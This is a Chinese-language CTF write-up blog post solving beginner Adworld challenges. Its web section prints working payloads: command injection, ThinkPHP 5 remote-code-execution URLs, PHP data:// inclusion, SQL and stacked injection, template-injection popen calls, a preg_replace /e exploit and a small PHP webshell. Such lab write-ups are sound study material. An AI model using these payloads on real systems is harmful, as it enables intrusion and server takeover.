Adworld-week1-test

Web

1.robots 难度一

考察对robots协议的了解,直接访问robots.txt即可得到flag

2.backup 难度一

image-20240316003013032

根据提示搜索得知php备份文件为php.bak或者php~,访问可得flag

image-20240316003253044

直接访问cookie.php

4.disabled_button 1

image-20240316003536995

F12审查页面元素,直接删去disabled

5.weak_auth 1

随便输入后查看F12提示需要字典,于是用Burpsuite进行爆破,但爆半天爆不出来,结果是被自带的字典坑了

image-20240316011236372

6.simple_php 1

1
2
payload: /?a=0e123&&b=1235e
Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}

7.command_execution 2

命令拼接,没有任何过滤

ip;cat ../../../home/flag.txt

cyberpeace{eec7c22e3511dd816e5f5afd75623d2c}

8.Training-WWW-Robots 1

User-Agent 修改为 Yandex 即可访问fl0g.php

cyberpeace{0aec2f4db7cbe527631d5c1011a094c7}

9. xff_referer 2

添加请求头

X-forwarded-for : 123.123.123.123 伪造IP

Refer : https://www.google.com 伪造来源

cyberpeace{523d0bac2ff1cecf68ab87073f2cb327}

10. baby_php 1

访问index.php 在响应头中有FLAG : flag{very_baby_web}

11 .simple_js 3

一开始是以为源码里藏了密码

按F12发现一个十六进制串转换一下得到一串形似ASCII码的东西

1
2
3
4
5
6
7
S = [55,56,54,79,115,69,114,116,107,49,50]
ans =""
print("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30")
for i in S :
b = chr(i)
ans = ans+b
print(ans)

12. PHP2 1

一开始没有思路,bing了一下得扫目录,但用御剑扫过以后只扫了一个已知的index.php,再看一眼wp是phps源码泄露,但该怎么想到呢,又没有提示

1
2
3
4
5
6
7
8
9
10
not allowed!

"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "admin") { echo "

Access granted!
"; echo "

Key: xxxxxxx
"; } ?> Can you anthenticate to this website?
两次url编码

13. ics6 1

进环境后怎么点都没用,就去扫文件目录扫出来

image-20240318233705225

访问index.php给试出来页面了,看有个送分题应该就是这了,但是怎么点确认都没点动静,随便传了几个id也没啥动静

image-20240318233755131

没想到是去对Id进行爆破,涨知识了

image-20240318233916359

14. php_rce 2

进入环境,直接开bing,一下就搜到了,是thinkphp 5-rce的洞 在网上摘了点poc过了

此处用的是 控制名未过滤导致rce

  • ThinkPHP 5.0.5-5.0.22
  • ThinkPHP 5.1.0-5.1.30

function为反射调用的函数,vars[0]为传入的回调函数,vars[1][]为回调函数的参数

1
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

另个洞是 核心类Request 的RCE(需要开启debug)

  • ThinkPHP v5.0.x - 5.0.23
1
2
3
4
5
POST /index.php?s=captcha

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
or
_method=__construct&method=get&filter[]=system&get[]=pwd

flag{thinkphp5_rce}

15.web_php_include 2

大小写可以绕过,但我的马传不上去

于是用data://协议

payload: ?page=data://,<?php system('cat ./fl4gisisish3r3.php');?>

F12查看flag

16. unserialize3 1

只需要绕一下wakeup 修改变量数大于实际变量

  • 还可以使用C代替O能绕过_wakeup(),但那样的话只能执行construct()函数或者destruct()函数,无法添加任何内容
1
2
3
4
5
6
7
8
<?php 

class xctf{
public $flag ='111';
}
$a = new xctf();
$a = serialize ($a);
echo(urlencode($a));

17.[HCTF2018] WARMup 2

先访问hint.php

phpmyadmin 4.8.1-4.8.0漏洞目录穿越 https://www.cnblogs.com/leixiao-/p/10265150.html

本地复现不出来

1
/?file=hint.php?../../../../../ffffllllaaaagggg

source.php?.. 整体会被看做是一个目录,而不会去检查它的正确性(可能会用到吧)

18.upload1 2

bp抓包绕过前端检测,<?php标签被过滤但可用大小写绕过

image-20240319204054226

image-20240319204248915

19.NewsCenter 2

随便试了点输入,当搜索单引号时出错怀疑是sql,进行注入后确认是sql注入

1
2
3
4
-1'union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='news')  # 查表
-1'union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='secret_table') # 查列
-1'union select 1,2,(select fl4g from news.secret_table) #查字段
flag: QCTF{sq1_inJec7ion_ezzz}

20.Web_php_unserialize 2

绕过 /[oc]:\d+:/i 例如O:4: 加入+号可以绕过 O:+4:

  • fast destruct : 修改类元素数量或删除末尾大括号可提前触发destruct
  • 含有private项等不可见字符时不能在外部修改且只能在类的内部进行修改赋值(如construct)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 

class Demo{
private $file;
public function __construct($file) {
$this->file = $file;
}
}
$a = new Demo("fl4g.php");
$a = serialize($a);
$a = str_replace('O:4','O:+4',$a);
$a = str_replace(':1:',':2:',$a);
echo($a);
echo(base64_encode($a));

21.CAT 5

常规命令注入没法提示无效IP,输入cat有回显但没什么用

小搜一把,可以试试fuzz

传入某些值如%2e%2e%c4%af%2ehtpasswd有报错,根据下面的报错可以得知是gbk编码宽字符

image-20240320222428743

将源码打开后出现django报错页面,在这里可以找到网页路径是 ‘/opt/api’

image-20240321104945664

后面看了题解说是@字符没有过滤,且联系比赛的提示可以用@读取文件(但是我去翻php手册的这条时已经没有@前缀的介绍了),那么后面就是读取django的默认文件等获取信息了

image-20240321112033176

image-20240321112253924

django项目下一般有配置文件settings.py设置网站数据库路径(默认使用的是sqlites),如果使用的是其它数据库的话settings.py则设置用户名和密码 /?url=/opt/api/api/settings.py

  • 需要注意django项目生成时settings.py会存放在以项目目录下再以项目名称命名的文件夹下面

好像原本报错内容中就含有settings中的内容吧,可以跳过这一步

image-20240321112956205

1
WHCTF{yoooo_Such_A_G00D_@}

22.fileclue 1

一开始想着包含index.php测试绕过是否成功,结果递归包含给我bp干爆了()

image-20240321004050508

23.supersqli 2

堆叠注入(有点像RCE)

这是将目标表修改为当前查询的表,并加入或者命名id列

1
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

或者使用handler直接查询

1
1';handler `1919810931114514` open;handler `1919810931114514` read first;#

image-20240315191949411

24.Web2 2

解密题

1.strrev()反转字符串

2.$_c=substr($_o,$_0,1); 截取$_0位置字符

3.$__=ord($_c)+1; 返回ASCII码并传给$__

4.$_c=chr($__) 获取ASCII码对应字符

5.$_=$_.$_c; 连接

6.先base64加密,再反转,再rot13加密

所以先rot13解密,再反转,再Base64解密,再退一位ASCII码,再反转即得flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

//$a = "n1mYotDfPRFRVdEYjhDNlZjYld2Y5IjOkdTN3EDNlhzM0gzZiFTZ2MjO4gjf";
//$a ="fjg4OjM2ZTFiZzg0MzhlNDE3NTdkOjI5Y2dlYjZlNDhjYEdVRFRPfDtoYm1n";
$_a= "~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg";
for($_0=0;$_0<strlen($_a);$_0++)
{
$_c=substr($_a,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}

echo strrev($_);

25.Web_python_template_injection 2

模板注入,探查注入点

{{2*2}}

  • 再记录一些含有os模块的类
  • site._Printer , warnings.catch_warnings
1
2
3
4
object.__class__.__base__.__subclasses__()['os._wrap_close'].__init__.__globals__['popen']
这个payload没拿到popen,可能没有?

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

26.inget 1

1
2
payload : 1' or 1=1-- qwe
另一种构造也可以 1' or '1'=1' 相当于id='1' or '1'='1'

27.fileinclude 1

F12查看源码,需要用Cookie传入language值并且添加.php后缀,直接传入flag没有显示猜测在注释里,

1
language=php://filter/convert.base64-encode/resource=flag

28. mfw 3

搜索发现需要扫目录,Dirsearch出了/.git 进一步搜索发现是git源码泄露,使用githack获取源码

1
python2 GitHack.py http://61.147.171.105:64755/.git/

flag.php中没有flag(哭)

查看index.php 有assert()可以rce

image-20240321170829535

通过’)闭合strpos 且注释后面的 .php','..')===false...可以RCE

1
payload:?page=').system('cat ./templates/flag.php'); //

image-20240321165616059

29.ics-05 3

Fuzz了一下sql,xss,ssti都不是

长得像文件包含,但是用php://input没反应

包含下index.php看看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}

}

只有一个preg_replace函数能用,bing一下

preg_replace 函数使用 /e 模式,导致代码执行问题 成功与sub匹配会执行replacement

1
payload: ?pat=/php/e&rep=system("cat ./s3chahahaDir/flag/flag.php");&sub=php;

30.tornado 3

提示:flag in /fllllllllllllag 以及 tornado render模板注入且hash加密方式为md5(cookie_secret+md5(filename))

则我们还需要获取到cookie_secret

查找注入点为Msg

  • 在tornado模板中,存在一些可以访问的快速对象,例如 { { escape(handler.settings[“cookie”]) } }

大概存在handler->RequestHandler RequestHandler.settings->self.application.settings

handler.settings->RequestHandler.application.settings

所以可在handler.settings中获取环境变量,包含有cookie_secret

image-20240322001955968

1
2
3
/error?msg={{handler.settings}}
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '75b39288-9b3f-40d1-b4a6-3846e3b15a15'}
payload: /file?filename=/fllllllllllllag&filehash=3d433f038368294923ff1e4b5cec2656

31. bug 5

进入页面是一个登录框,随便输入提示用户不存在,尝试登录admin账号失败,先注册一下

image-20240322153550214

选中manage模块提示不是admin

用Bp抓包发现Cookie中的user是简单的md5(UID:username),但伪造后依然不通过

查看其他模块中还有个修改密码模块抓包后还是没有可操作的地方,记得主页面还有个忘记密码模块

image-20240322155140434

好像出现了可以进行覆盖admin的地方,修改成功,登录成功

image-20240322155212011

再次进入Manage模块提示ip不允许 用XXF伪造后可访问manage,提示:

image-20240322155828139

根据模块名猜测do为upload或者read啥的,确实可以upload

image-20240322160302762

php后缀被过滤,但php4,5可用, 但对php标签进行了检测 ,可用其他风格绕过

1
2
<script language="php">system("$_REQUEST['Y']")</script>
'you have get points,here is the flag:cyberpeace{881e668464d755c7ecb9f9dc50d019c0}');

MISC

1.this_is_flag 2

样例即是flag

2.pdf 3

打开是一张图片,然后看十六进制和binwalk都没什么异常

猜测图片把flag盖着了,搜了一下可以直接选中图片后的flag或者CTRL+F搜一下,pdftotext也可以将pdf to text

3.如来十三掌 3

一眼禅语

新佛曰解不出来,需要旧版的佛曰才能翻译

1
2
夜哆悉諳多苦奢陀奢諦冥神哆盧穆皤三侄三即諸諳即冥迦冥隸數顛耶迦奢若吉怯陀諳怖奢智侄諸若奢數菩奢集遠俱老竟寫明奢若梵等盧皤豆蒙密離怯婆皤礙他哆提哆多缽以南哆心曰姪罰蒙呐神。舍切真怯勝呐得俱沙罰娑是怯遠得呐數罰輸哆遠薩得槃漫夢盧皤亦醯呐娑皤瑟輸諳尼摩罰薩冥大倒參夢侄阿心罰等奢大度地冥殿皤沙蘇輸奢恐豆侄得罰提哆伽諳沙楞缽三死怯摩大蘇者數一遮
MzkuM3gvMUAwnzuvn3cgozMlMTuvqzAenJchMUAeqzWenzEmLJW9

翻了下工具箱全部试了下解密方式都看不太出来,翻了眼题面有个13就试试rot13确实可以解

1
2
ZmxhZ3tiZHNjamhia3ptbmZyZGhidmNraWpuZHNrdmJramRzYWJ9
flag{bdscjhbkzmnfrdhbvckijndskvbkjdsab}

但因为对base64串的特征不太熟一下没看出来解出来是base64串

4.give_you_flag 4

GIF图里有个二维码,但是太快了,所以使用Stegsolve逐帧看

image-20240320195648894

发现二维码缺了三个识别角,进行补全后可以扫描

image-20240320200613965

1
flag{e7d478cf6b915f50ab1277f78502a2c5}

5.坚持60s 4

搜了下jar misc,发现jar文件可以用jar-gui看,查看Jar源码就找到flag了,但是感觉正常的不是这么做的呢

image-20240320202029269

6.gif 4

文件夹里只有黑白黑白的jpg,二进制?搜一下还真是

1
2
01100110 01101100 01100001 01100111 01111011 01000110 01110101 01001110 01011111 01100111 01101001 01000110 01111101
flag{FuN_giF}

Re

1.insanity

IDA 打开即得

Crypto

1.base64

解码

2.幂数加密

大概是用2的0,1,2,3,4,5次幂的和(32个)表示26个字母

可以分出以下组

1
2
88421 122 48 2244 4 142242 248 122
23 5 12 12 4 15 14 5
1
2
3
4
5
te = [23,5,12,12,4,15,14,5]
ans = ""
for i in te:
ans+=(chr(i+65-1))
print(ans)

Adworld-week1-test
http://yuuk1.top/2024/04/08/Adworld-week1-test/
作者
Yuuk1
发布于
2024年4月8日
许可协议